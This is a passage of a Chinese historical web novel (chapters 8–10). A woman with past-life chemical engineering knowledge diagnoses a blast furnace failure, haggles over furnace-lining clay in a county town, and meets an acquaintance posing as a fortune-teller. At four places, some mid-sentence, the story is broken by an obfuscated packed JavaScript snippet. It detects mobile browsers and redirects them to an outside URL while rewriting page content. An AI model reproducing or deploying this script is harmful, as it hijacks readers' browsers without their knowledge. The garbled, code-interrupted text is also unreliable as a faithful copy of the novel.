赵玉芬探头看去，里面是些焦黑的渣滓。 “炉子炸后，我在碎片渣里捡来的。” 不知她是何意，赵玉芬问道，“捡这东西作甚？” “我知晓这炉子出事的缘由。”苏冶用手蘸了点渣沫捻在指尖。 赵玉芬愣了一下，片刻后，眯起眼睛，这回没有揶揄苏冶，反而说道：“说来听听。” 苏冶用手搓了搓手上的渣。 “起炉用的是木炭，若是烧得透，我手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177138|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这东西当是灰白色居多。” 苏冶前世学化工，自然知道，木炭若燃烧充分，其中的碳大部分转化为二氧化碳，剩下的主要都是矿物质，残余应当呈现灰白色或浅灰色，如今灰渣呈现多是深灰和黑色，多是没有燃烧完全。 “你的意思是，”赵玉芬看向苏冶手里的渣滓，“这东西没烧完全？” 苏冶颔首，赵玉芬继续道： “这是炉子出事的原因？” 苏冶摇头，“高炉里木炭烧不干净不是稀罕事，但这炉子格外多，定有些其它原因。” “你懂这个？”赵玉芬来了兴致。 苏冶点了点头。 “你们用的高炉个头形制都有些笨重，鼓风全靠人力橐囊，炉子里冷热不匀称，悬料久久不下，下面炉料都烧空熔化了，积了不少沸铁水，这时候面上了炉料若是下来，炉缸受不住，便会像前日里那般。” 古代基层炼铁与现代不同，多靠经验，大多是知其然而不知其所以然，故而苏冶尽量不用些专业术语，为着将话讲明白些。 “说得好听，怎知你不是在胡诌？”赵玉芬道。 苏冶早料到这茬，“前些日子上工时，您同院里人说，有师傅教他们掌火，这师傅如今可还在？” 赵玉芬：“自然。” 苏冶：“可否唤来同我当面对质。” 赵玉芬思索片刻后，朝门外喊道：“把钟师傅请来。” 不多时，门口领进一个老头，五十来岁，穿着件灰不灰，蓝不蓝的旧袄子，身板微微佝偻着，右胳膊比左胳膊粗上不少，还有明显的高低肩。 这人苏冶没甚印象，高炉爆炸那日这人大概率不在现场。 见到他后，苏冶主动上前问候，“师傅怎么称呼。” 老头瞧着和善，开口道，“老夫钟有，姑娘是？” 苏冶：“在下苏冶。” 钟师傅道：“那个‘冶’字？” 苏冶道：“鼓铸之冶。” 钟师傅笑道：“是个好名，只是姑娘家不大好叫。” 苏冶道：“既是好字，何必拘泥这些。” 钟师傅捋了捋胡子，“也是也是。” 一旁的赵玉芬见这两人自来熟般几番寒暄，敲了敲桌子，“如今钟师傅来了，有什么话就说吧。” “好。”苏冶不再废话，直接向苏师傅问道： “钟师傅在此处定有不少时日，可能看出搪炉都用了些什么材料？” 搪炉和掌火是不同的分工，非是一个路子，但实际生产的时候，掌握火候的人即便不会操作，日积月累，定然也知晓其间原理。 果不其然，钟师傅道：“自是知晓。” “既是这样。”苏冶看向赵大娘，“要是我能将这材料一五一十都说出来，大娘是否能好好思量思量我的话。” 若是换成别人，赵玉芬八成觉着是在说大话。 可不知为何，眼前这姑娘莫名让她有些看法。 从前日炉子出事苏冶救人时，赵玉芬便注意到了她，她虽看着年轻，说话做事倒是有些同年岁不符的稳重，从她多年瞧人的经验来看，这姑娘兴许是个可靠之人。 “行。”赵玉芬语气铿锵，“你若是能在钟师傅面前将这搪炉的材料一样不拉说出来，我便信你。” 8. 采买 苏冶将手探入桌上的木炭渣滓中，指尖在灰烬间摸索片刻，从底下拈出了一小块焦黑的碎片。 "这是炉子上的？"赵玉芬眯起眼睛，目光在苏冶掌心那块东西上逡巡。 苏冶点头，“炉膛内壁的残片，我捡了一块回来。” “既然如此。”赵玉芬将身子微微后仰，靠在了椅背上，“说说看，用什么料搪的。” 苏冶看了看手里的碎片，默了半晌，余光扫过一旁的钟师傅，而后道： “按常理，炉子砌成后，搪炉的工序得三道。” 钟师傅听了这话，捋须颔首，示意苏冶继续说下去。 “第一道，常见些用白鳝泥，掺着黄土泥，兑一成胆水，擦在坛肚和炉缸上，得用手。” 苏冶将碎片放回布包中。 “第三道，用米汤，混着泥浆，这次不用手，得用高粱耙。” “没搪一道，都要把炉子烤热，趁着热乎上泥……” “等等。”赵玉芬抬手打断，“不是有三道，怎的少了中间那一道。” 苏冶看向钟师傅，开口问道:“可是我说漏了” 赵玉芬闻言也看向钟师傅，似是想要个答案。 钟师傅没料到苏冶突然发问，沉默良久，无奈开口道：“没少。” 赵玉芬恍然，明白了俩人的意思。 没错，搪炉得三道，第一道和第三道苏冶方才已经说了，至于第二道，并非是苏冶不知道，而是自家的炉子，根本就漏了第二道工序。 果真是曹经那厮偷工减料。 “炉子炸裂，可就是因为这个？”赵玉芬问道。 苏冶思索片刻，说道：“如我前时所说，这炉子裂了，是风力不匀，受热不均，铁水积得太多。” “偏生少了第二道油炭灰和白黏土，这炉子的耐热性折了不少，故而炉料落下的时候没耐得出，才会出事。 赵玉芬沉思片刻后，朝钟师傅问道：“她说的料子可都对得上。” 钟师傅闻言说道：“一样不差，其中配比的手法比我知晓的还要精细上许多。” “好。”赵玉芬拍案定夺，“你且说说看，如何服众？” 苏冶转身从屋角搬过一张木凳，在赵玉芬对面落了座。 “可有笔墨？” 赵玉芬将纸笔给了她，想看看她能玩出什么花样。 …… 半炷香后，苏冶搁了笔，将写着东西的条子递给了赵玉芬。 赵玉芬接过细看，只见纸上工整列着。 “耐火黏土，二两。” “盐卤，二两。” “……” 赵玉芬略一过目，转手将纸条递给钟师傅。 钟师傅接过后逐行细看，“都是搪炉用料，只是有几样倒是不曾见过过......"他抬眼望向苏冶，"可是要重搪剩余两座炉子？" 苏冶点了点头，“不止如此，这炉子构造也有些瑕疵，我需做些改动，可保万无一失。” 赵玉芬将纸条压在砚台。 “且不论你有没有这个耐，纵使你真能修好炉子，院子里那些人又怎敢拿性命作赌”。 没错，即便苏冶将高炉改成天下第一周全，掌火的人不懂这些关窍，自然是不信。 “等新炉砌成，先起一炉，若能安好无舆，人心自会安下几分。” 赵玉芬挑眉道：“那这第一炉谁来烧？” 苏冶斩钉截铁：“我来。” 赵玉芬笑道：“你就是有通天的本事，也是独木难行。” 苏冶：“谁说只有我一人。” 赵玉芬面露几分诧异。 苏冶解释道：“我们院儿里还有四人，他们同我一起。” 赵玉芬道：“他们都愿意？” 苏冶点了点头。 赵玉芬有些意外，苏冶与这院儿里的人相识不过数日，怎得就让他们愿意冒这个险。 苏冶看得出来赵玉芬在想什么。 当然，不过短短几日，她虽有几分社牛，但也没让别人全然相信自己的魄力。 除过王喜无条件信任自己，对于东屋那三人，苏冶则是客观理性地和他们分析了局势——“我们都是些没来历的，就算折在了此处，也掀不起多大风浪，如今同他们争了两日，足够让他们看看我们并非任人宰割，若再僵持下去，不过是苟延残喘罢了。” 历史上有不少工人阶级罢工争取权益的例子，但这村里只有三十来人，基数差的太远。 苏冶嘴上这样说，心里却另有计较，赵玉芬此番不过是激激他们，听杨千说，这次高炉爆炸三人都没了性命，哑沟里这些人虽没背景，但骗进一个也要耗些本钱。 若赵玉芬真想饿死他们，除非将村里如今这三十来人全部杀个干净，否则即便来了新人，炉子的事还是瞒不住，这般代价，他们断然不愿承受。 故而苏冶料定，赵玉芬不过虚张声势罢了。 赵玉芬道：“往日起一次炉得十人看守轮班，你们只有五人。” “五人足矣。”苏冶道。 赵玉芬看向苏冶，她神色坚毅，丝毫没有夸大其词的感觉、 “罢了。”赵玉芬起身朝门口走去，“我着人去买你写的材料。” “等等。”苏冶叫住了她。 赵玉芬回身投来询问的目光。 “旁人恐难把握分寸，我需亲自去挑。”苏冶道。 赵玉芬听她这样说，顿了下，而后嘴角勾起一丝笑意，目光也添加了几分犀利，直盯着苏冶。 见苏冶面色不变，赵玉芬道：“我才晓得，你怕是在打其他主意。” 苏冶坦然道：“我晓得你怕我逃，不必忧心，派你的人同我一起，绑着我的手也行，但东西必得用我自己的眼睛挑。” 赵玉芬靠她近了一些，目光直盯着她，似乎穿透她的心思，但苏冶目光始终坦然，不带半分心虚。 末了，赵玉芬道：“便按你说的，量你也掀不起风浪，你须明白，即便从这里出得去，我们也有法子让你回来，到时候，可就不是挨一两顿饿那么简单。” 苏冶面色不变，点了点头。 —— 申时三刻，苏冶到了县城。 眼睛上布条被拿下后，苏冶看清了马车里她的三个“陪护保镖”的样子， 其中个头最高那人叫赵二，身量极高，肩宽背厚，筋肉虬结，是个练家子，坐在苏冶身侧，活像座铁塔。 除了赵二，其余两人块头也都不小，都是虎背熊腰，气势逼人。 也难怪赵玉芬放心让她来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177139|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么三位看着，她就算是只蚊子也飞不出去。 只不过，此番出行，她压根儿没想过逃。 随三人下了马车，眼前是间低矮的瓦房，连块招牌也无。 苏冶又朝四周看了一圈。 街对面，是家买早餐的摊贩，附近人员鱼龙混杂，货郎，脚夫，还有些零散的杂耍队伍。 “这是买泥料的地方？” 苏冶觉着这地点有些来历，寻常泥料作坊多设在城郊，方便大宗采买，眼前这铺子不仅门面狭小，还隐于闹市，周遭更无同类商号，连个招牌也不挂。 转念一想倒也寻常，县里铁器铺多将作坊与店面分开，作坊在城郊，店面在城中，这泥料铺选址虽不便运输，却方便掌柜们看样订货。 赵二点了点头，掀开布帘迈入店内。 铺面狭小，进门便是一方逼仄的空间，仅容两人错身，屋内没有窗户，门帘又扣着，只一盏油灯悬在梁下 墙角堆着麻袋，鼓鼓囊囊不知装着些什么。 这地方还真是低调，大概赚的都是熟人的钱……苏冶想。 斑驳的柜台后空无一人。 正疑惑间，身侧的赵二突然扬声："杨掌柜。" 话音未落，柜台后蓦地探出个人影，惊得苏冶心头一跳。 原是这老儿佝腰低着头，被柜台遮了个严实，她才没有看到。 被称作杨掌柜瞧着五十来岁，个头不高，肤色黝黑，脸上有不少褶子。 瞧见苏冶一行人，面上立刻挂上熟稔的客套。 “这回要些什么？” 听掌柜的这语气，同这赵二三人是旧相识。 苏冶拿出了采买单子递给他。 杨掌柜接过细看，眉头微蹙，抬眼打量了下苏冶。 “瞧着面生。” 赵二闻言，欲要上前解释，苏冶却抢先道：“新来的。” 杨掌柜将单子递回，“怎的是个黄毛丫头。” 苏冶道：“我只是瞧着小，实际快有四十。”说着，回头看向身后的赵二，“好儿子，替你娘给这掌柜的说句话。” 苏冶的话教身后三人目瞪口呆，尤其是赵二，脸上的表情活像吞了苍蝇。 那掌柜的听了苏冶得荒唐话，不禁失笑。 “老夫眼拙了。” 说罢，杨掌柜掀开后门帘往里走去，苏冶与三人紧随其后，赵二恶狠狠地瞪了她一眼，苏冶佯装未见，径自跟入内院。 进了里面苏冶才看到，这店原来还有处面积宽敞的后院。 院子四边砌着土墙，墙头爬着野藤，地上杂乱却有序地堆着料材，泥料缸半埋入土，缸口覆着草席防雨，粗木架上还晾着未干的陶模。 “胆水没货，我给你下个单子，城南跑一趟，品相不错。” 他边说边引众人走向西南角大棚下的一排大缸。 “过来瞧瞧。” 待苏冶等人上前后，他揭开了缸上的厚木板，里面都是阴干后堆叠的白鳝泥。 苏冶探头看了一眼，霎时间脑子里闪过八百个念头，想着一个精明的生意人接下来该怎么说话，怎么以高端的方式同这掌柜的玩心眼子。 末了，苏冶叹了口气，还是说道： “这些防潮都没做好，我们不要。” 9. 李三 身后赵二听苏冶这么说，接口道：“杨老板给咱挑的自然是好东西，莫要挑三拣四了。”语气里带着几分惯常的打圆场，却也透着些敷衍。 苏冶摇头，指尖拂过缸沿沾着的湿泥，“这白鳝泥受了朝，粘性就差上许多，烧出来容易干裂，这次搪炉要用好料子。” 她声音平稳，却字字清晰，不容含糊。 听俩人这样说，杨掌柜脸上倒是没有半分心虚，只捻着下巴道：“你们这新人眼睛倒利，不过倒也不是亏待你们，这泥料之间成色不同，是有个三六九等，院里这些，虽说沾了点地气，价格确是便宜，若想要顶好的……” 杨掌柜看向苏冶，“那价码可就不是一回事了。” “那要不就……”赵二几人一听要加钱，立刻互看一眼，瞬间变了口风，试图圆场。 苏冶却不等他说完，径直打断：“带我们看看好的。” 保镖三人听苏冶这么说，面上都显出几分不快。 赵二凑近低语道：“以往来此也不曾挑剔过，差不多就行了，何必多此一举，能交差便好。” 苏冶低声回道：“你们今日跟着我不过是看护，这东西好坏，是由我定夺，别忘了。” 赵二几人在打什么算盘，她一清二楚。 以往赵二他们来，必定是专拣这最便宜的买，好从中克扣些银钱，揣进自己腰包。如今那炉子都因劣料出了人命关天的事，竟还只惦记着那几两银子的油水。苏冶从不觉得贪图小利有何不对，这世道，谁不想手头宽裕些，但若将这便宜建立在他人性命安危之上，这吃相就未免太难看。 既是赵玉芬发了话让苏冶做主，赵二心里纵使窝火，也不好再明着阻拦，只得悻悻闭了嘴。 杨掌柜见苏冶态度坚决，也不再推销他那院里的陈货，转身踱回店里。不一会儿，手里拎着串叮当作响的钥匙出来，走到大棚底下，咔哒一声打开了锁在一块厚重铁板上的铁链。 赵二三人互相使了个眼色，不情不愿地上前，吆喝一声，合力将那沉甸甸的铁板抬到一边，露出下面一个黑黢黢的入口，一股阴凉干燥的气息扑面而来。 “好东西都在下头，下来瞧瞧吧。”杨掌柜率先踩着石阶下去。苏冶紧随其后。 地窖里比地面阴凉不少，空气中也无霉尘味，反而有种泥土和干草的清新，显是常有人打理。四下里，陶瓷大缸和木架整齐有序地分层摆放。 “过来看看。”杨掌柜揭开一口大缸的木盖，揭开上面的草毡。 苏冶几步上前，弯腰细看，只见缸内码放着砖块大小的白鳝泥坯，色泽均匀，质地细腻干燥，与院里那些受潮结块的截然不同。 她心下满意，面上却不显，只直起身问：“这料什么价？” 杨掌柜见她识货，眼底精光一闪，伸出三根手指：“一担，这个数，三钱银子。看姑娘是个懂行的，已是人情价。” 后面的赵二三人一听，倒抽一口凉气。 往日来买，撑死了一担一钱银子，磨破嘴皮子八百文也能拿下，这竟是翻了三倍不止，三人齐刷刷看向苏冶，虽未言语，眼神里却明晃晃写着：“这冤大头咱可当不起。” 苏冶只当没看见他们的眼色，兀自打量着那泥料，若有所思地点了点头。 杨掌柜见状，心中窃喜，断定这姑娘虽懂点门道，却不通市价行情，今日合该他发财。 他趁热打铁道：“这品相的白鳝泥，县城里您打听打听，独我这一份！关起门来做生意，讲的就是个实在……” 不想，他话音未落，苏冶却忽然转身，对赵二三人道：“走。” “……？” 在场几人全都愣住了。 杨掌柜一脸错愕：这……这就走了？不是看上了吗？ 赵二也是莫名其妙：真不买了？那刚才点头算怎么回事？ 苏冶迎着众人诧异的目光，坦然道：“掌柜的，您这价高得离了谱，这生意做不成。” 杨掌柜心里直骂这姑娘是不是缺心眼，嫌贵你倒是还价啊，哪有直接撂挑子走人的，虽说“扭头走”也是砍价的常见路数，可看这苏冶的神情，平静无波，没有半点欲擒故纵的油滑，倒像是真不打算买了。 赵二赶忙打圆场：“哎呦，咱就说，买刚才院里看的也差不离，何必……” 苏冶却摇头，语气坚决：“院里的不行。去别家看看。”说罢，真就转身欲走。 赵二赶紧一把拉住她胳膊，急道：“既都到这儿了，何必再费脚力跑别处，好歹再说道说道，若实在谈不拢，再去别家也不迟啊。” 他嘴上这么说，心里却压根没想过去别处，他们身份特殊，采买哪家都是赵玉芬定好的，岂能说走就走。 他本只想糊弄着买便宜的，谁知碰上苏冶这么个硬茬。眼下只能指望把价砍下来。 他转头对杨掌柜道：“杨老板，您这价开得也太不地道了，都是老主顾，往日几百文一担的买卖，今日怎就坐地起价了。” 杨掌柜把眼一斜：“话不能这么说，货跟货能一样吗？你也瞧见了，这姑娘是懂行的，不信你问她？”他巧妙地把皮球踢给苏冶。 赵二还要争辩：“话不是这样……” “一钱五分。”苏冶清晰开口，报出一个数。 杨掌柜脸色倏地一沉，连连摆手：“这价连本钱都裹不住，光是这高岭土，采掘就难，来回运费更是周折，我不求赚多少，总不能贴本赚吆喝吧？”说着，作势就要把缸盖盖上。 赵二和曹经之前请来搪炉的匠人来采买过一次，多少知道这掌柜的套路，晓得他是在哭穷，正预备撸起袖子好好杀一番价，却被苏冶抬手止住。 “掌柜的，我帮您算算这笔账。”苏冶语气平静。 杨掌柜心里嗤笑，一个黄毛丫头，能算出什么花来？ 然而，接下来苏冶的话却让他笑不出来了。 “这高岭土是自采的，从城南山区运到您这铺子，满打满算不超过三十里地。若雇牛车，一担运费百文顶天。若走水路，更便宜，绝不会超过五十文，城南装卸按斤算，一担约莫二十文，最贵便是雇挑夫，按如今市价，六十斤一百文，一担算下来也就两百文出头。” 她语速不快，却条理分明，杨掌柜的脸色微微变了。 “再算淘洗、沉淀、脱水的人工，两人忙活一日，工钱各一百文，摊到一担泥料上，又是两百文。” “筛子、木桶这些工具的损耗，均摊下来，一担算五十文足矣。” “如此满打满算，一担泥料的硬成本，也就五百文左右，还不到一贯钱。”苏冶抬眼看向杨老板，目光清亮，“更何况，您制料时，绝非一担一担地做，这批量下来的成本，只怕还要低些。” 老底被揭穿，杨掌柜面上有些挂不住，一阵青一阵白。 苏冶继续道：“我知晓开门做生意总要赚些辛苦钱，这县里大大小小的泥料铺子，我也略知一二。今日若换做别家来问，您心里这实价，高不过一贯三百文，我不想浪费您的气力来回扯皮，就这个价，我们现银结算，一分不差，杨掌柜何不做个爽快人？” 苏冶前世的导师曾对她说过，她是个聪明人，唯独有一点——做事总以“事”为本，忽略了“人”，事事总是瞧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177140|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本质，盯着效率，想要最快的速度完成，却不知，有时候，有些事，哪怕能快，也得慢慢来。 其实苏冶并非不懂，只是觉得没必要，就如当下，一步步砍价或许更能全对方面子，日后也好相见。 但这好相见的人情是曹经的，她不愿替他体贴，浪费自己时间虚与委蛇。 杨掌柜神色复杂地盯了苏冶半晌，最终像是泄了气，说道：“今日算我认栽，就当结个善缘，与你个便宜。” 苏冶闻言，唇角微微一勾，面上表情霎时间变得轻快，不是刚才那般严肃。 “多谢掌柜成全。” —— 白鳝泥这大头定下后，有了之前的较量，其余几样材料，杨掌柜也没再多纠缠，很快按照行情与苏冶核定了单子。 诸事完毕，苏冶一行人辞别杨掌柜。还有些零碎材料需得去城南采买。 出了店门，日头正毒，街上尘土被热风一刮，呛得人喉咙发干。 苏冶低着头加快脚步，赵二也在后头不耐地催促：“利索点儿。” 她心知自己如今身份尴尬，虽是良民，恐怕早被曹经做了手脚，报了个“暴毙”，同她的便宜丈夫一同开了死亡证明。 但即便从前住得偏僻，也难保没有一两个眼熟的，此刻在街上多留一刻，便多一分风险，赵二他们显然也顾忌这点，才一再催促。 她本也无心逃跑，便不与他们争执，疾步走向停在街角的马车。 谁料想刚踩上踏板，身后骤然爆出一阵极其尖利的吵嚷声，引得街上行人纷纷侧目。 苏冶下意识回头望去，只见一个体态臃肿的妇人，正叉腰指着街边一个卦摊泼天大骂：“……杀千刀的死穷酸，破落户，敢咒我儿娶不上媳妇，缺德带冒烟的黑心肝，老娘掀了你的摊子！” 那被骂的是个算命先生模样的男人。一身皱巴巴的黑色道袍，脚下趿拉着草鞋，脸上不知是沾了灰还是刻意抹了东西，显得脏污不堪，头发更是乱如蓬草。此刻正默不作声地低着头，收拾散落一地的龟壳和铜钱，任由妇人的唾沫星子几乎喷到脸上，也不还口。 苏冶随意瞥了一眼，目光掠过那道狼狈的身影时，脚步猛地顿住，像是被钉在了原地。 “啧，这算命的瞧着忒不灵光，” 赵二在一旁抱着胳膊看热闹，嘴里奚落道，“骗不到钱也就罢了，怎还惹得一身的骚？” 就在这时，那道士已将地上东西拾掇干净，不再理会那妇人的叫骂，转身便走。好巧不巧，竟是直直朝着他们马车这边走来。 苏冶见他抬头，立刻扭转身形，想避入车内。 却已是迟了。 “且慢。” 略带几分沙哑的嗓音自身后响起，分明是冲他们而来。 苏冶背对着他，能听到那略显急促的脚步声越来越近。 “还走不走了。”她急忙低声催促赵二。 赵二也无意节外生枝，抬脚便要上车，不料那神棍又扬高声音喊了一句： “前面那位兄台，请留步。” 这一声倒是让赵二动作一滞，下意识回头望去。 只见那神棍果然冲着他来了，几步便到了近前。 “何事？”赵二皱紧眉头，语气不善。 那神棍抬眼扫来，目光先是掠过赵二和他身后另外两人，最后，在苏冶低垂的侧脸上极快地停顿了一瞬。 那人眼神漫不经心又带着几分疏离，仿佛看的只是一个毫不相干的陌生人。 苏冶指尖微微一颤。 她着实没想到，会在这里，在这种情形下，撞见李三。 10.仙师 她眼下的处境，若是李三贸然同她相认，叫赵二那帮人察觉，只怕会因惧怕哑沟事迹败露，对她和李三痛下杀手。 这一带地方偏僻，纵使他们闹出什么动静，也未必有人原因替他们报官。即便真有人报官，她如今尚且不晓得哑沟的具体位置，曹经在县衙根基深厚，想要扳倒他，恐怕难如登天。 苏冶不是没想过逃出哑沟，但绝不是这个时候。 但她也没料到，此刻李三真遂了她的愿，在赵二几人面前，表现得与她素不相识。 “作甚？” 赵二语气不善，挑眉瞪向李三。 李三没回应，只神色冷峻地盯着赵二的额头。 此刻天气燥热，他周身却似拢着一派冷气，清隽沉静。 赵二被盯得心里莫名有些发毛，忍不住再度开口: “你这黑脸，到底何事？” 随着赵二再次发问，李三视线缓缓下移，定定落到了他脸上。 “恐有不详。” 赵二霎时变了脸色。 “好个鸟道士，难怪招了骂，怎的青天白日咒别人不好。” 说罢，便欲转身上马车。 李三也没拦着，依旧直愣愣站在原地。 果不其然，赵二刚揭了车帷子，复又转身，神色间带着几分恼意，嘴角却硬是挤出几分僵硬的笑。 “行，今日还就听你说说，爷怎的落得不详？” 李三上前一步，语气平稳道:“山根处隐见横纹，这是破财之相，三年前，在赌坊里栽过大跟头。” 赵二嘴角那点笑意顿时凝住了。 “右眉尾断如刀裁。”李三指尖虚点，“是犯官非的征兆，去年开春，吃过官司。” 赵二不自觉攥紧了拳头。 李三忽然压低声音，语气渐沉：唇上法纹深陷，嘴角带煞，失手伤过人命，那人是个追债的，个子不高，左眉有道疤...” 他话音未落，赵二额间已经渗出了些冷汗。 苏冶将赵二的神色变化看在眼里，心下诧异，不自觉看李三。 他神色淡然，眼底波澜不惊，活像高天之上没有悲喜的神佛。 难不成真让他修成了什么……不不不， 苏冶还是在心里摇头，她前世是搞科学的，不是钻研玄学的，怎么能连唯物主义的根本立场都动摇。 理性回笼，苏冶愈想愈觉着蹊跷，即便李三于这金门行道有些造诣，又怎能将事发时辰、地点乃至人物样貌说得如此精确。 苏冶是个现代人，教育背景让她骨子里对这些玄乎门道有些抵触，但赵二可不同，李三一番言语，字字句句都敲在他心坎儿上。 赵二喉结滚动，既不承认李三所说，也不否认，只哑声道: “那你且说说，如何瞧出我不详。” 李三向前半步，靠他近了一些。 “近日是否常觉口干舌燥，夜里盗汗，后颈总似有人吹凉气。” 顿了下，李三又道: “冤魂索债，最是难缠。” 赵二眼睛一亮，连忙下了马车。 “正是，阁下果真仙师。” 此时苏冶在心里翻了个白眼。 若说李三前番话听着确实有些能耐，眼下这段不就是江湖骗子常用术语吗！ 此时大夏天，豫州这地方又偏旱，口干舌燥是什么稀罕事吗！ 至于盗汗，哑沟的屋里没有空调，晚上出汗是什么稀罕事吗！！ 夜间开着窗，屋外凉风渗了进来吹在脖颈上是什么稀罕事吗！！！ 只不过，这些车轱辘话有了之前的铺陈，此刻在赵二眼神，无疑成了“神之呢喃”。 “仙师可以化解的法子？”赵二抱拳又问。 李三从袖中抖出一道黄符。 “化水饮下。” 赵二连连称谢，正要接过时，李三突然按住了他的手。 “这是……” 赵二愣了下，随机反应了过来，忙从袖中抽出钱袋，取出些碎银子便要递过去，不料李三仍未松手，反而说道: “愚人行路，不受金银。” 说着，他目光一转，忽然落在了苏冶身上。 苏冶心下一怔，面上却仍然平静。 “这姑娘属阴，心气柔润。”说着，又看向赵二。 “枉死之人怨气凝聚，最畏阴柔，你将银钱赠与她，借她坤道化你周身戾气。” 赵二:“……？？？” 苏冶:“……！！！” 赵二不知道自己为什么要给苏冶银子，苏冶也想不通自己怎么就得了银子。 罢了，赵二咬了咬牙，心想，这黑脸若是诓人，自然巴不得这银子落进自己口袋，如今让他经苏冶的手，想必是真有些门道。 又想到李三方才所言五一不中，终是狠下心，从钱袋子里数出二十文，给苏冶递去。 苏冶唇角轻扬，也没客气，伸手接过。 “我日后定替你念祷祈福。” 话毕，她不自觉看向李三，不料对方已转过身，正要离去。 “仙师留步。” 李三听到苏冶的声音，脚步一顿，回身看她。 苏冶将他脸上的陌生和疏离看得分明，仍开口问道: “仙师既有这般神通，可能替我看看。” 李三道:“可要看来日命格。” 苏冶摇了】头，“不看来日，看过去。” 自她来到这方天地，便无法全然相信李三所说的关于这具身体原主的过去，冥冥中，她总觉得自己该知道更多。 李三眉宇间似有极细微的一顿，但他收敛得太快，苏冶怀疑那只是她的错觉。 只见李三看着她，凝神端详片刻后，对她说道: “不晓。” 说罢利落转身，径自离去。 待他走得远了些，赵二随口道: “方才不是还说你阴气重，怎的这会儿便不晓了。” 苏冶没有搭理他，只望着李三逐渐远去的背影，直至他彻底消失在长路尽头的背影，苏冶默然转身，掀帘上了马车。 —— 从杨掌柜处离开后，苏冶随赵二几人去城南采买齐剩余物资，签了运货单子，再回到哑沟时，天已擦黑。 她径直被送到了住处，刚下马车，蒙眼布条还没取下，来人聪的声音已经传了过来。 “哎呦我的祖宗，可算是回来了。” 视线明朗后，抬眼望去，路口前原不止站着来人聪一人。 王喜，小白，杨千几人都立在那里，看着像是在等她回来。 赵二几人将人送到了地方，便架着马车离开了，苏冶边往院里走边问道。 “怎么都站在这儿？” “去了整整一日，都有些担心你。”王喜温声道。 “担心我？”苏冶瞥了一眼小白几人，笑道：“只你一人罢，他们怕不都是被你刀架脖子请来的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187010|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那可不是，王大姐老虎发威要咱来当门神……”来人聪正嬉皮笑脸，王喜一个拳头捅在了他腰间侧软肉上，“再胡诌。” “好好好，说句实话，不是王大姐……” 说着，来人聪朝着小白的方向挤眉弄眼。 “这不有人说你走夜路不容易，教大伙儿一同来接接。” 苏冶顺着来人聪的目光看去，小白沉默不语，只埋头朝前走。 竟是这小子提议来接她，平日里闷声不响，竟还有贴心的一面。 苏冶这回倒是没打趣他，只笑道：“我今日倒像个皇帝，出有人送，回有人迎。” 来人聪道：“这皇帝你也只当得今日喽。” 这话说得在理，在这黑窑里，谁能天天过皇帝的日子。 不过苏冶既不感到扫兴，也无怅然之感。 此刻能有此刻的兴致，本就难得，何必为那些不明所以的来日担忧，若是向前看，又有几人面前是一片坦途。 到院门口时，苏冶想到了什么，问王喜：“都吃上饭了？” 王喜点头，“你离了村子后不久，赵大娘就开了伙房，还给你留着呢，快回去吧。” 苏冶颔首，看向小白几人。 “早上离开时我说过，等这炉子搪成了，要你们同我起第一炉铁，那日炉子起火情状你们也见识过，如今若是后悔，便告诉我。” 杨千闻言立即道：“妹子大可去做，咱信你的能耐。” 一旁来人聪也跟着道：“你可得稳妥些，别真把咱几个都交代进去……”话还没说完，就被王喜一发眼刀激得闭了嘴。 此情此景，苏冶不由得想到早上离开院子去找赵大娘前发生的一幕。 彼时众人已经挨了快两日的饿，浑身无力。 她告诉杨千他们，在这里挨着，争不来想要的那口气，赵玉芬想要他们上工，多的是法子，绝食不成，还有棍棒等着，不若主动去找他们，以他们自愿上工为条件，争取来修缮炉子的机会，若等到赵玉芬动手，提条件便难了。 想着，她又提出了让他们同她一同炼第一炉铁的事情。 不曾想到，杨千毫不犹豫点头，并说自己会劝说小白和来人聪。 “杨大哥为何信我。” 杨千道：“当日河边遭事，我见你同小白兄冲击烟雾里救人，举止利落，知道你们可靠，如今你既说有办法，只要能见你将那炉子搪好，我们便同你一起。” “不用劝。”一旁的小白开了口。 苏冶看向了小白，“你也愿意同我一起？” 